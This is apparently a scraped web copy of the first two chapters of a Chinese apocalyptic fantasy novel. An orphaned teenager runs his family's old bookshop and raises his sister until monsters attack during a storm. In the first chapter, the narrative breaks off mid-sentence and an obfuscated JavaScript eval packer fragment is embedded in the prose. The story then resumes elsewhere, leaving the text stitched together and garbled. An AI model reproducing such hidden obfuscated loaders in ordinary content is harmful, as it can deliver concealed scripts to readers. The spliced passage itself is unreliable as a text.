《说好的末世挣扎呢?队友这么癫怎么玩?》 1. 微光 晨光从老式木窗的缝隙间挤进店铺,灰尘在光束中缓缓翻滚。 柜台后的少年将脸埋在交叠的手臂间,火红色的发丝散落在木质台面上,有几缕被晨曦染成了橙红。 江淮年没有睁眼。 十七岁的少年维持着趴伏的姿势,从鼻腔里呼出一声近乎无声的叹息。 这是一家售卖旧书、文房四宝兼装裱字画的老铺子,在城南这条日渐萧条的街巷里,已经苟延残喘了二十年。 江淮年记得很清楚,父母去世前一个月,母亲还坐在柜台后的那把藤椅上,用一把小刀细细裁着宣纸的边缘。父亲则蹲在门口,用刷子给一块新做的牌匾上清漆,阳光落在他花白的鬓角上,那些白发亮得刺眼。 然后他们就死了。 一场毫无征兆的车祸,连遗言都没能留下。 处理完后事,江淮年从学校办公室的椅子上站起来,对班主任说: “老师,我不念了。” 班主任是个四十多岁的女人,眼镜后的眼睛里满是不赞同:“淮年,你成绩很好,再有一年就高考了,现在放弃太可惜。你妹妹还小,你们兄妹俩以后……” “老师,”江淮年打断她,声音平静,“江妤才十五岁。我得养她。” 于是他就真的不念了。 收拾了课本,搬回了父母留下的这间铺子。白天开店,晚上去夜市摆摊卖些手工装的笔记本和廉价毛笔,周末接些抄写、装裱的零活。银行账户里那点赔偿金和积蓄,他一分都不敢多动,要交店铺的租金,要付水电,要给江妤交学费、买校服、买辅导书,要吃饭,要看病。 江妤身体不算好,虽然没到那种需要被送到乡下静养的程度,但换季时总要感冒发烧,每次去医院都是一笔开销。江淮年慢慢知道了在药店关门前的特价时段去买药,学会了在菜市场收摊时去捡那些品相不好但还能吃的菜,懂了用最便宜的面粉做出面条。 有时候深夜关了店,他坐在空荡荡的柜台后,会盯着墙上那张全家福发呆。 照片是五年前拍的,父母坐在中间,笑得温和。左边站着个陌生男人。江淮年不知道他叫什么,据说那个男人体弱多病,在他有记忆前就被送到乡下亲戚家了,于是江淮年对他几乎没有任何印象,只记得父母提起时总会叹气。 右边是江淮年自己,那时候才十二岁,咧着嘴笑出一口白牙,手臂搭在身旁小女孩的肩膀上。 江妤。 照片里的江妤才十岁,扎着两个羊角辫,穿着碎花裙子,手里抱着一只破旧的兔子玩偶,对着镜头怯生生地笑。那是她唯一一张笑得这么腼腆的照片。 后来的江妤,在父母去世后,好像一夜之间把所有的怯懦都烧光了,长成了一株带刺但也格外坚韧的玫瑰。 江淮年又叹了口气,终于从臂弯里抬起头。 左眼是深海般的蓝,右眼是火焰般的红。这双异瞳从他出生起就跟着他,小时候没少被其他孩子指指点点,说他是什么“妖怪的孩子”。江淮年为此打过很多架,打不过也要打,打输了就躲在巷子里哭,哭完了擦干脸回家,对父母说是不小心摔的。 后来父母不在了,他就再没哭过。 至少没让别人看见。 他站起身,活动了一下僵硬的肩膀。身上那件洗得发白的灰色卫衣袖口已经磨出了毛边,牛仔裤的膝盖处也有轻微的磨损。 但这些都不重要,重要的是今天周六,江妤不上学,但要去上绘画班。他得在九点前给她做好早饭,然后骑车送她过去。 推开柜台后方那扇吱呀作响的小门,就是他们生活的地方。 一条狭窄的过道,左边是仅能容一人转身的厨房,右边是卫生间,尽头是两间相邻的卧室。江淮年的房间稍大些,但堆满了没卖出去的旧书和装裱工具,床只剩下一半能睡人。江妤的房间小,但收拾得整齐,墙上贴着她自己画的画,大多是海洋,蓝色的波浪,白色的泡沫,各种奇形怪状的鱼。 江淮年记得江妤从小就喜欢海。 虽然他们生活的这座城市离最近的海岸线也有三百公里,但江妤就是对那种从未亲眼见过的蓝色抱有执念。 她收集一切与海有关的东西:贝壳、海螺、珊瑚形状的饰品,甚至饮料瓶上印着海浪图案的标签纸。 父母还在时,有一次许诺等江妤十二岁生日就带她去海边,后来这个许诺和许许多多其他的许诺一起,成了再也无法兑现的空话。 厨房的水龙头有些漏水,江淮年拧了拧阀门,滴水声暂时停了。他从冰箱里拿出两个鸡蛋,一小把青菜,还有昨晚剩下的半碗米饭。锅里的油热了,磕入鸡蛋,刺啦一声响,蛋清迅速凝固成白色边缘。他动作熟练地翻炒,加入米饭和青菜,最后撒上一点盐和酱油。 这时候,对面房间的门开了。 江妤揉着眼睛走出来,淡蓝色的头发乱糟糟地翘着。她穿着印有小兔子的睡衣,赤脚踩在冰凉的地砖上,看到江淮年时脸上立刻露出了不耐烦的表情。 “哥,我说了多少次,做饭的时候开抽油烟机。” 她的声音带着刚睡醒的沙哑,明明才十五岁,但语气已经是一副小大人的腔调。 江淮年头也不回:“抽油烟机坏了,修一次要两百,没钱。” “那你就不能做点没油烟的东西吗?” “比如?” “比如……面包牛奶。” “面包一袋十块,牛奶一盒五块五,蛋炒饭成本三块。”江淮年把炒饭盛到两个碗里,转身放到小餐桌上,“江大小姐,选哪个?” 江妤撇撇嘴,但还是走过来坐下。她拿起勺子,扒拉了一下碗里的饭,忽然说:“我们班李薇薇她爸上周带她去吃了牛排。” 江淮年动作顿了一下,随即也在她对面坐:“哦。” “她说牛排很好吃,”江妤用勺子戳着碗里的米饭,“然后问我吃过没。” 江淮年没说话。他低头吃了一口饭,炒得有点咸了。 “我说我吃过。”江妤继续说,声音很平静,“我说我哥做的牛排比外面的好吃多了。” 江淮年抬起头。 江妤也在看他,两人对视几秒后,她低下头,大口大口地吃饭,好像刚才那段对话从未发生过。 江淮年觉得喉咙有点堵。他放下勺子,伸手揉了揉江妤乱糟糟的头发:“下个月你生日,哥带你去吃牛排。” “不要。”江妤躲开他的手,但耳尖有点红,“浪费钱。你做的蛋炒饭就很好吃。” “真的?” “勉强能吃。” 江淮年笑起来。 他一笑,眼尾那颗泪痣就跟着微微上扬,那双多情的桃花眼弯成月牙的形状。江妤瞥了他一眼,迅速低下头,但嘴角也忍不住翘了翘。 吃完早饭,江淮年收拾碗筷,江妤回屋换衣服。等她再出来时,已经换上了洗得发白的校服外套,里面是一件浅蓝色的毛衣,袖口别着一枚贝壳形状的胸针,还是去年她生日时,江淮年在夜市地摊上花二十五块钱买的,胸针的镀层已经有些剥落,露出底下暗沉的金属色,但江妤每天都戴着。 “走吧。”江淮年拿起钥匙,推开了店铺的后门。 门外是一条狭窄的巷子,停着一辆半旧的自行车。江淮年跨上车,江妤熟练地跳到后座,双手抓住他卫衣的下摆。自行车晃晃悠悠地驶出巷子,汇入清晨的街道。 三月的风还带着凉意,吹在脸上像细小的刀子。江淮年蹬着车,能感觉到身后江妤把脸贴在了他背上。她的呼吸透过薄薄的卫衣布料,温热地落在他的脊骨上。 “哥。”江妤忽然开口,声音闷闷的。 “嗯?” “你后悔吗?” “后悔什么?” “不上学了。” 自行车拐过一个弯,车铃叮当响了一声。江淮年看着前方渐渐多起来的行人和车辆,很久才说: “不后悔。” “可是你成绩那么好……” “成绩好又不能当饭吃。”江淮年打断她,语气轻松,“再说了,我现在不也挺好?自由职业,自己当老板,不用早起上班,多爽。” 江妤不说话了。 但江淮年能感觉到,她抓着他衣服的手收紧了一些。 他知道江妤在想什么。十五岁的小女孩过早地懂得了生活的重量,她看得懂哥哥眼下的乌青,数得清他一件衣服穿了多少天,记得住他有多久没买过新鞋。 她发脾气,闹别扭,说尖酸刻薄的话,但也会在深夜偷偷爬起来,给趴在柜台睡着的哥哥盖一条毯子。 自行车在一栋老旧的居民楼前停下。这里一楼被改造成了绘画班,窗户上贴着稚拙的水彩画。江淮年单脚撑地,等江妤跳下车。 “下午四点我来接你。”他说。 “不用,我自己能回去。” “不行,这条路上次有流浪狗追人。” “那是三个月前的事了!” “那也不行。”江淮年从口袋里掏出三十块钱塞给她,“中午在旁边的面馆吃,别吃路边摊,不干净。剩下的钱买瓶水,别省。” 江妤接过钱,攥在手心里。她抬头看着江淮年,晨光落进她蓝色的眼睛里,像海面上碎开的阳光。然后她忽然踮起脚,飞快地碰了碰江淮年的脸颊。 “我进去了。”她说完,转身就跑进了楼道,淡蓝色的马尾在脑后一甩一甩的。 江淮年愣在那里,脸颊上那个轻柔的触感还残留着温度。他抬手摸了摸被亲到的地方,忽然觉得耳朵有点烫。 这小丫头。 他摇摇头,重新蹬上车,往店铺的方向骑去。 周六的上午,街上的行人渐渐多起来。 经过菜市场时,江淮年停下车,在几个熟悉的摊位前买了些便宜的蔬菜和一小块猪肉。卖菜的大妈认识他,一边称重一边念叨:“小江啊,又给你妹妹做饭?真不容易,这么小就要当家……” 江淮年只是笑笑,付了钱,把菜装进车筐。 回到铺子时,已经快十点了。他打开店门,把“营业中”的木牌挂出去,然后开始打扫卫生。先用鸡毛掸子掸去书架上的灰尘,再用湿抹布擦拭柜台和玻璃橱窗。旧书特有的霉味混合着灰尘的气息,在阳光下缓缓升腾。 这间铺子是他爷爷那辈传下来的,最早是卖古籍和文房四宝的,后来生意越来越差,父亲就兼做起装裱字画的活计。 江淮年小时候常在柜台后面写作业,听着父亲和客人讨论哪朝哪代的碑帖,哪种宣纸适合写小楷,哪种墨条磨出来的墨色最正。那些知识零零碎碎地钻进他耳朵里,等他意识到时,竟然也记住了一大半。 父母去世后,他靠着这些零碎的记忆,勉强撑起了这家店。但生意还是不好,如今谁还买毛笔写字?谁还需要装裱字画?偶尔来的客人,大多是些怀旧的老先生,买一刀宣纸,或者淘两本旧书,一坐就是一下午,和江淮年聊些他听不太懂的古董鉴赏。 今天的第一个客人是个六十多岁的老太太,要买一支小楷毛笔。江淮年从柜台底下拿出几个木匣,一支支摆出来给她挑。老太太戴着老花镜,对着光细细看笔尖的毛,絮絮叨叨地说她孙子在学校书法比赛得了奖,要买支好笔奖励他。 “这支狼毫的,三十五。”江淮年指着一支笔杆刻着竹节的笔,“毛挺齐,弹性也好。” 老太太讨价还价了半天,最后三十块钱成交。她付了钱,又看了江淮年一眼,叹口气:“小伙子,你一个人看店啊?父母呢?” “去世了。”江淮年平静地说。 老太太愣了一下,眼神里流露出同情,但没再说什么,拿着笔走了。 江淮年把三十块钱放进抽屉,继续整理一批新收来的旧书。这些书是从一个要搬家的老师那里收来的,大多是关于古代文学和历史的,品相一般,但内容不错。他一本本地擦拭封面,检查有没有缺页,然后根据内容和品相贴上价格标签。 中午时分,他泡了一碗方便面,就着早上剩下的半碟咸菜吃了。面吃到一半,手机响了,是江妤发来的短信: “面吃完了,水买了,没吃路边摊。老师在教画静物,我画了个苹果,她说形不准:(” 江淮年看着那个哭脸表情,嘴角扬了扬。他单手打字回复:“形不准就多练,晚上回来给我看看。” 放下手机,他继续吃面。汤已经有点凉了,油脂凝成白色的浮沫,但江淮年还是喝完了最后一口汤。不能浪费。 下午的客人更少,只有两个中学生来买了些素描纸和铅笔。江淮年趁着空闲,把一批需要装裱的字画拿出来处理。这是一位老先生送来的几幅自己的书法作品,要求用素色绫绢装裱。江淮年量好尺寸,裁切托纸,刷上浆糊,动作虽不如父亲娴熟,但也算有模有样。 阳光透过窗户,在地板上缓慢移动。江淮年蹲在地上,用棕刷轻轻刷平托纸上的褶皱,忽然想起父亲教他装裱时的情景。 那时他才十岁,手还小,握不住大号的棕刷。父亲就站在他身后,握着他的手,一笔一划地教他如何用力均匀,如何避免产生气泡。母亲在一旁裁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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回家的路上经过一家小超市,江淮年停下车,让江妤在门口等着,自己进去买了一小盒牛奶。出来时,江妤正蹲在路边看一只流浪猫。那是只橘白相间的小猫,瘦骨嶙峋的,但毛很干净,正警惕地看着江妤。 “想养吗?”江淮年走过去。 江妤摇摇头:“养不起。” 江淮年心里一酸,但没表现出来。他把牛奶盒子打开,倒了一点在瓶盖里,放在离猫不远的地方。小猫犹豫了一会儿,慢慢凑过来,小口小口地舔。 “走吧。”江淮年站起身。 江妤又看了小猫一眼,才跟着他离开。 晚饭确实做了青椒肉丝和白菜豆腐汤。江淮年刀工不错,肉丝切得均匀,青椒也切得整齐。热锅下油,爆香蒜末,下肉丝翻炒至变色,再加入青椒,最后淋上一点酱油和糖。香味很快就弥漫了整个狭小的厨房。 江妤在写作业,但鼻子一直抽动,最后忍不住跑到厨房门口:“好香。” “马上就好。”江淮年头也不回,“去摆碗筷。” 吃饭时,两人对坐在小餐桌两边。江淮年给江妤夹了一筷子肉丝,江妤闷头吃着,忽然说:“哥,我们班下周要开家长会。” 江淮年动作一顿:“什么时候?” “周三下午。” 周三……江淮年心里快速盘算。周三下午通常有几个老客人会来,但也不是不能关店。他点点头:“行,我去。” “你要穿得像样点。”江妤抬眼看他,“别穿那件袖口都磨破的卫衣。” “知道了,江大小姐。”江淮年故意拖长声音,“保证不给你丢人。” 江妤哼了一声,但没再说什么。 饭后,江淮年洗碗,江妤继续写作业。水声哗哗,笔尖在纸面上沙沙作响,昏黄的灯光把两个人的影子投在墙上,安静地重叠。洗好碗,江淮年擦了手,走到江妤身后看了一眼,数学作业,应用题已经写了一大半。 “这道题错了。”他指着其中一题。 “哪里错了?” “这里,计算顺序不对。”江淮年拉过一把椅子坐下,拿过铅笔在草稿纸上演算。 江妤凑过来看,淡蓝色的发丝扫过江淮年的手背。她看得很认真,眉头微微皱着,嘴唇不自觉地抿起。 江淮年看着她侧脸,忽然想起她更小的时候。那时候父母还在,江妤才五六岁,每天像个小尾巴似的跟着他。他写作业,她就趴在桌子另一边画画,画得满手都是蜡笔印。有时候画累了,就趴在那儿睡着了,小脸压在胳膊上,嘴巴微微张着,流一小滩口水在作业本上。 有一次江淮年恶作剧,用笔在她脸上画了两撇胡子。江妤醒来后照镜子,哇的一声就哭了,哭得惊天动地,直到母亲答应给她买冰淇淋才罢休。后来冰淇淋买了,江淮年也被父亲训了一顿,罚他一个星期不许看电视。 那时候的日子,好像永远都是晴天。 “哥?”江妤的声音把他拉回现实,“你怎么了?” 江淮年回过神,摇摇头:“没什么。看懂了吗?” “看懂了。”江妤拿回作业本,低头修改。灯光落在她长长的睫毛上,在脸颊上投下一小片阴影。 晚上九点,江妤写完作业,洗漱睡觉。江淮年检查了一遍店铺的门窗,关了灯,回到自己房间。他没有立刻睡,而是坐在床边,从枕头底下摸出一个铁皮盒子。 打开盒子,里面是一些零碎的东西:父母的黑白照片,一张已经褪色的全家福,几枚生锈的硬币,还有一条银色的项链,那是母亲留给江妤的,等江妤十八岁时,他要给她。 江淮年看着照片里的父母,看了很久,然后轻轻合上盖子,把盒子放回枕头下。 躺下时,他能听到隔壁房间传来江妤均匀的呼吸声。很轻,很稳,像夜风拂过树叶。他闭上眼,明天又是新的一天。 要开店,要进货,要记账,要接送江妤上下学,要做饭,要打扫,要活着。 要平,要稳,要耐得住。 他对自己说,然后沉入了睡眠。 窗外的月亮很圆,很亮,银白色的光从窗帘的缝隙漏进来,在地板上切出一道狭长的光斑。远处传来隐约的犬吠,更远处是城市永不熄灭的灯火。 隔壁房间,江妤也翻了个身,怀里紧紧抱着那只破旧的兔子玩偶。玩偶的一只耳朵已经开线,露出里面发黄的棉絮。那是母亲在她六岁时买的,陪了她七年,陪她度过了父母离世后无数个哭泣的夜晚。 月光洒在她安静的睡颜上,那枚贝壳胸针放在床头柜上,在月光下泛着微弱的、温柔的光。 夜还很长。 但命运的车轮,已然开始转动。 2. 骤雨 三月末的风终于彻底褪去了寒意,江淮年趴在柜台上,发丝被钻进来的风轻轻拂动,露出左耳上那枚冰晶耳钉,那是母亲留给他的为数不多的遗物之一,透明的水滴形状,在昏暗的店铺里偶尔会反射出一星半点微弱的光。 他已经保持这个姿势快一个小时了。 视线落在柜台对面书架那套《山海经》的封面上,思绪却飘到了很远的地方,下周要交的店铺租金还差三百,江妤的绘画班学费月底到期,那辆自行车的链条该换了,厨房水龙头又开始漏水,滴答,滴答,像某种永不停歇的倒计时。 江淮年闭上眼睛,深深地吸了一口气。 店铺里的气味依然是他熟悉的旧纸张的霉味,木头受潮后淡淡的腐朽感,还有他自己身上那件洗了太多次,早已连洗衣粉味道都快散尽的卫衣。这些气味构成了他过去的全部世界,狭小,陈旧,但安全。 门外的街道传来孩子们放学归来的喧闹声,自行车铃叮当作响,某个母亲在喊孩子回家吃饭。 江淮年直起身,活动了一下僵硬的脖颈,骨骼发出细微的咔哒声。墙上那只挂钟指向下午四点半,再过三十分钟,他得去接江妤了。 学校离店铺三公里,但她坚持自己可以坐公交回来。江淮年不同意,于是他们达成了妥协 周一到周五江妤自己坐公交,周六江淮年接送她去绘画班。 今天周六。 他站起身,准备趁接人前的这点时间清点一下库存。刚绕过柜台,门上的铜铃响了。 叮铃—— 清脆的声音在寂静的店铺里显得格外突兀。江淮年抬头,看见一个老人推门进来。 那是个看起来很普通的老人,大约七十岁上下,头发全白,但梳得整齐,穿着一件洗得发白的灰色中山装,手里拄着一根竹节拐杖。 他的脸很瘦,皱纹像干涸河床上的裂痕,深深浅浅地刻在皮肤上,但那双眼睛却很亮,是那种近乎清澈的、与年龄不符的亮。 老人走进来,没有立刻说话,而是慢慢地环视了一圈店铺,最后落在江淮年脸上。 “小伙子,”老人开口,声音温和,带着一点沙哑,“你是这儿的老板?” 江淮年点点头:“是。您需要点什么?” 老人没回答,而是走到书架前,伸出枯瘦的手指,轻轻拂过那些旧书的书脊。他的动作很慢,很仔细,像是触摸什么珍贵的易碎品。最后,他停在了一套书前。 “这套书,”老人说,“怎么卖?” 江淮年看了一眼:“线装本,民国时期的,品相一般,有虫蛀。三百。” 老人摇摇头,把书抽了出来。他没有翻开,只是拿在手里掂了掂,然后说:“贵了。” “这已经是底价了。”江淮年说。其实这套书他收来只花了一百五,但店铺的租金还差三百,他需要这笔钱。 老人笑了笑,眼角的皱纹更深了:“小伙子,做生意不是这么做的。” 江淮年皱了皱眉。他不太喜欢这种说教的口气,尤其是从一个陌生人嘴里说出来。他十七岁,辍学三年,独自带着妹妹生活,他不需要别人教他怎么活下去。 “那您觉得应该怎么做?”他的语气里带上了一点刺。 老人似乎没听出他话里的不耐,依然温和地说:“你这店铺位置偏,来的都是熟客,或者像我这样误打误撞进来的。旧书生意,靠的是口碑,是回头客。你价格定得这么死,客人来一次,觉得不划算,下次就不来了。” 江淮年心里那股火窜了上来。 他当然知道这些道理,但他有什么办法?他需要钱,需要马上到手的钱,等不起什么“口碑”和“回头客”。这个月租金交不上,下个月他们兄妹俩可能就要睡大街。 “老先生,”他尽量让自己的声音保持平静,“我就是这么做生意的。您要是不满意,可以到别处看看。” 这话已经说得很不客气了,但老人没有生气。他把书放回书架,转过身,那双清亮的眼睛直直地看着江淮年:“你父母呢?” 江淮年的手指在柜台下猛地攥紧了。指甲陷进掌心,带来细微的刺痛。 “去世了。”他说,声音很冷。 老人沉默了几秒,然后轻轻叹了口气:“难怪。” “难怪什么?” “难怪这店铺死气沉沉的。”老人说,目光又扫了一圈,“你父母在的时候,我来过几次。那时候店里不是这样的,书架整齐,窗明几净,墙上挂的字画都是精心挑选过的。你父亲坐在柜台后,一边裱画一边和客人聊天,你母亲在后面的小厨房煮茶,茶香能飘到街上去。” 江淮年愣住了。 他确实记得,父母在世时,店铺确实是老人说的那样。父亲爱干净,每天开门第一件事就是打扫;母亲喜欢煮各种花茶,茉莉的,菊花的,桂花的,季节不同,茶香也不同。周末的时候,会有几个老先生来店里,一坐就是一下午,和父亲讨论碑帖版本,母亲就安静地在一旁斟茶。 那些画面遥远得像上辈子的事。 “现在呢?”老人继续说,声音依然温和,但每个字都像针一样扎进江淮年心里,“书架积灰,柜台杂乱,字画挂得歪歪扭扭。小伙子,你不是在做生意,你是在等死。” “够了。”江淮年打断他,声音有些发颤,“您到底是来买东西的,还是来说教的?不买就请出去。” 老人看着他,看了很久。那目光里有同情,有惋惜,还有一种江淮年看不懂的复杂情绪。最后,老人点点头:“好,我走。” 他拄着拐杖,慢慢地走向门口。在推门出去前,他回头看了江淮年最后一眼:“孩子,你这活法不对。你父母要是知道了,会心疼的。” 门关上了,铜铃又响了一声。 叮铃—— 店铺重新陷入寂静。 江淮年站在原地,一动不动。老人的话像一把钝刀,一下一下地割着他心里那层早已结痂的硬壳。 他当然知道自己活得不对,当然知道父母要是还在会心疼,但他能怎么办? 他十七岁,带着一个十五岁的妹妹,没有亲戚可以投靠,没有积蓄可以挥霍,他只能这样活着。 像一株在石缝里挣扎的野草,拼命抓住每一滴雨水,每一缕阳光。 他深吸一口气,强迫自己冷静下来。墙上的挂钟显示四点四十,该去接江妤了。 他锁了店门,骑上那辆半旧的自行车。下午的阳光斜斜地照在街道上,把影子拉得很长。 风吹在脸上,带着春天特有的暖意,但江淮年觉得冷,从骨头里透出来的冷。 绘画班楼下,江妤已经等在那里了。少女穿着洗得发白的校服外套,淡蓝色的头发扎成高马尾,露出白皙的脖颈。她背着一个旧画板,手里拿着一个牛皮纸袋,看见江淮年时,眉头习惯性地皱了起来。 “迟到了三分钟。”她说,声音清亮,带着青春期少女特有的那种故作成熟的腔调。 江淮年没解释,只是单脚撑地:“上车。” 江妤跳上后座。江淮年感觉到她比去年重了一些,个头也蹿高了,去年她还只到他肩膀,现在已经到他耳垂了。时间过得真快,快得让人心慌。 “今天画了什么?”他问,蹬动车子。 “静物,一组陶罐和水果。”江妤说,声音里有一丝不易察觉的得意,“老师说我的明暗关系处理得不错。” “是吗?”江淮年笑了笑,“那回去给我看看 “嗯。” 短暂的沉默。自行车穿过渐渐热闹起来的街道,经过菜市场时,江淮年停下车:“等我一下,买点菜。” 江妤点点头,坐在车上等着。她看着哥哥走进拥挤的市场,火红色的头发在人群里一闪一闪的,像一团移动的火焰。她想起今天放学时,同桌李薇薇问她:“江妤,你哥是不是染头发了?那个红色好酷。” 江妤当时愣了一下,然后说:“不是染的,天生的。” “天生红发?还异瞳?”李薇薇惊讶地睁大眼睛,“好厉害!像动漫里的人!” 江妤没说话。她从小就知道哥哥长得好看。 那种近乎锐利的好看,红发异瞳,泪痣桃花眼,张扬得像一团燃烧的火。 但她更知道,这好看在现实生活里意味着什么。 异样的眼光,背后的议论,小时候被其他孩子追着喊“妖怪”。 所以她学会了用坏脾气武装自己,谁多看哥哥一眼,她就瞪回去。 谁说哥哥闲话,她就怼回去。 她要保护他,就像他保护她一样。 江淮年拎着一袋菜出来,青菜的叶子从塑料袋边缘探出来,绿油油的。他把菜放进车筐,重新上车:“晚上吃炒青菜和土豆丝,行吗?” “随便。”江妤说,顿了顿,又补了一句,“别放太多油,腻。” “知道了。” 回到家时,天色已经暗下来了。江淮年打开店铺的门,没有立刻开灯,而是借着窗外的暮光,看着这个他守了三年的地方。 积灰的书架,杂乱的柜台,歪扭的字画。 老人说得对,这店铺死气沉沉的。 他打开灯,昏黄的灯光驱散了阴影,但也让一切看起来更加破败。江妤放下画板,走进后面的生活区换衣服。江淮年开始做饭,洗菜,切土豆,热锅,下油。一套动作他已经重复了上千遍,熟练得不需要思考。 晚饭时,两人对坐在小餐桌两边。土豆丝切得很细,炒得金黄;青菜碧绿,只放了一点盐和蒜末。江妤埋头吃着,忽然说:“哥,我们下个月要交资料费。” “多少?” “一百二。” 江淮年心里快速计算了一下:租金三百,绘画班学费两百,资料费一百二,水电费大概八十,买菜……这个月还剩十天,他手头的钱加起来不到五百。 “知道了。”他说,“下周给你。” 江妤看了他一眼,没说话。她当然知道哥哥没钱,但她也没办法。 学校要交的钱,她不能说不交。有时候她恨自己为什么要上学,为什么要花钱,为什么要成为哥哥的负担。 但她更恨的是这个该死的生活。 饭后,江妤洗碗,江淮年坐在柜台后记账。那本账本已经很旧了,边缘卷起,里面密密麻麻地写着每一笔收支。收入:旧书销售三十五,装裱费八十,夜市摆摊收入一百二……支出:买菜六十五,公交卡充值五十,江妤校服修补费二十…… 算到最后,这个月的赤字是两百三。 江淮年放下笔,揉了揉太阳穴。头疼,像有根针在脑子里扎。他闭上眼睛,耳边又响起老人的话:“你不是在做生意,你是在等死。” 也许老人说得对。 也许他真的只是在等死,等哪一天撑不下去了,就带着江妤一起从这个世界消失。 那样也挺好,至少不用再为钱发愁,不用再每天睁开眼就想着今天要怎么活下去。 “哥。” 江妤的声音把他拉回现实。少女站在柜台边,手里拿着今天的画。江淮年睁开眼,接过画纸展开。 确实画得很好。一组陶罐和水果的静物,明暗关系处理得细腻,阴影部分过渡自然,高光点得恰到好处。能看出是花了心思的。 “画得不错。”他说,这是真心的。 江妤嘴角翘了翘,但很快又压下去了:“老师说,下个月市里有青少年绘画比赛,让我参加。” 江淮年抬起头:“要报名费吗?” “五十。” 五十。又是一笔钱。但江淮年看着妹妹眼里努力想藏起来,但还是漏出来一点的期待,点了点头:“参加吧。” “真的?”江妤的眼睛亮了一下。 “嗯。好好画,拿个奖回来。” 江妤笑了,很浅的笑,但眼睛里像有星星。她拿起画,小心地卷好:“那我先去睡了。你……也早点睡。 “好。” 江妤回了房间。江淮年继续坐在柜台后,听着隔壁传来洗漱的水声,然后是关灯的声音,最后是床板轻微的吱呀声。 他站起身,走到书架前,抽出老人下午看过的那套书。线装本,纸张已经发黄变脆,书页边缘有虫蛀的痕迹。他翻开一页,墨迹已经有些晕染,但字迹依然清晰:“夫文心者,言为文之用心也……” 他忽然想起,父亲也有一套同样的书,但不是这个版本。父亲那套是精装本,带注释的,经常放在床头,睡前会翻几页。有一次江淮年问父亲,为什么看这么难懂的书。父亲说:“难懂才要看。人活着,不能只懂容易懂的东西。 那时候他不懂,现在好像有点懂了。 他把书放回去,关了店里的灯,只留了一盏小夜灯。然后他回到自己房间,没有立刻睡,而是坐在床边,从枕头底下摸出那个铁皮盒子。 打开,父母的黑白照片在昏暗光线里安静地看着他。母亲的笑容很温柔,父亲的眼神很平静。他们好像在对他说:淮年,你做得很好。 但他做得不好。 他知道。 他让店铺积灰,让生意萧条, 让生活变成一场漫长的煎熬。 他每天都在挣扎,但只是勉强浮在水面,没有沉下去而已。 他把照片贴在胸口,闭上眼睛。 窗外传来隐约的雷声。 要下雨了。 深夜,雨果然下了起来。 起初是淅淅沥沥的,后来渐渐变大,噼里啪啦地打在屋顶的瓦片上。江淮年在梦中皱了皱眉,翻了个身。 他梦见父母还活着。母亲在厨房煮茶,茶香飘满整个店铺;父亲坐在柜台后裱画,阳光落在他花白的鬓角上。然后画面一转,父母站在马路对面,笑着对他招手。他想跑过去,但腿像灌了铅一样动不了。然后是一阵刺耳的刹车声 他猛地惊醒。 雨还在下,哗啦啦的。房间里一片漆黑,只有窗外偶尔闪过的车灯,在墙上投下转瞬即逝的光影。江淮年坐起身,抹了把脸,手心全是冷汗。 又做这个梦了。 他下床,走到窗边。雨下得真大,巷子里的积水已经漫过了台阶,泛着浑浊的水泡。 突然一道闪电。 他看见了别的东西。 在巷子尽头,雨幕深处,有什么东西在动。 起初他以为是自己眼花了。 雨太大,光线太暗,看什么都模模糊糊的。但下一秒,又是一道闪电,惨白的光照亮了整个巷子。 江淮年的呼吸停止了。 那不是人。 那东西大约有两米高,形态扭曲,像一堆烂泥被强行捏成了人形。它没有脸,只有几个黑洞洞的窟窿,位置大概相当于眼睛和嘴巴。身体表面在不断蠕动,好像有无数条虫子在皮肤下爬行。 最诡异的是,它明明站在瓢泼大雨中,身上却没有一滴水,雨水在距离它身体几厘米的地方就蒸发掉了,腾起一片白色的水雾。 它抬起头,那几个黑洞“看”向了江淮年的窗户。 江淮年猛地后退一步,后背撞在墙上,发出沉闷的响声。 他告诉自己这是梦,是噩梦,是他压力太大产生的幻觉。但墙上的冰凉触感是真实的,窗外的雨声是真实的,心脏在胸腔里疯狂撞击的疼痛也是真实的。 这不是梦。 那东西开始移动了。它走得很慢,一步,一步,雨水在它脚下沸腾蒸发。动作很僵硬,像一具刚学会走路的尸体。但它确实在朝着店铺的方向走来。 江淮年的脑子一片空白。恐惧像冰水一样从头顶浇下来,冻僵了每一根神经。他想喊,但喉咙发不出声音;他想动,但腿不听使唤。他只能眼睁睁地看着那东西越来越近,越来越近 然后,它停在了店铺门口。 雨水从屋檐倾泻而下,在它面前形成一道水帘。它抬起一只“手”。按在了店铺的门上。 吱呀—— 木门发出了不堪重负的呻吟。 江淮年终于找回了身体的控制权。他冲出自己的房间,撞开江妤的房门:“江妤!起来!” 少女从睡梦中惊醒,茫然地看着他:“哥?怎么了……” “别问!快走!”江淮年抓住她的手腕,几乎是把她从床上拖下来。江妤穿着睡衣,赤脚踩在冰凉的地板上,还没完全清醒,但哥哥脸上从未有过的惊恐让她本能地感到了危险。 店铺门口传来了更大的声响,不是敲门,是撞击。砰,砰,砰,每一下都让整个店铺震动,灰尘从天花板上簌簌落下。 “那是什么?”江妤的声音在发抖。 “不知道!从后门走!”江淮年拉着她冲向后门。他的手在抖,钥匙对了好几次才插进锁孔。转动,拉开…… 后门的巷子里,站着另一个怪物。 这个和门口那个不一样。它更矮,更瘦,形态更像人类,但皮肤是那种死尸般的青灰色,眼睛是两个燃烧着的红色光点。看见江淮年和江妤,它咧开嘴,露出密密麻麻的、像鲨鱼一样的尖牙。 “找到……了……”它发出声音,嘶哑,刺耳,像两块生锈的铁片在摩擦。 江淮年把江妤护在身后,一步步后退。他的大脑在疯狂运转:怎么办?往哪里逃?店铺前后都被堵住了,窗户都有防盗网 砰! 店铺前门被撞开了。 第一个怪物走了进来。它的身体太高,进门时不得不弯腰,头顶蹭过门框,留下一条焦黑的痕迹。雨水从它身后涌进来,但一接触到它的身体就蒸发,店铺里迅速弥漫起白色的水雾。 两个怪物,一前一后,把他们堵在了中间。 江妤紧紧抓住哥哥的手臂,指甲陷进他的肉里。她能感觉到自己在发抖,牙齿在打颤,但她没有哭,也没有尖叫。 “你们……是什么东西?”江淮年听见自己的声音,陌生得不像自己的。 门口的怪物发出了声音。那不是语言,而是一连串咯咯咯咯的声音。但奇怪的是,江淮年居然听懂了。 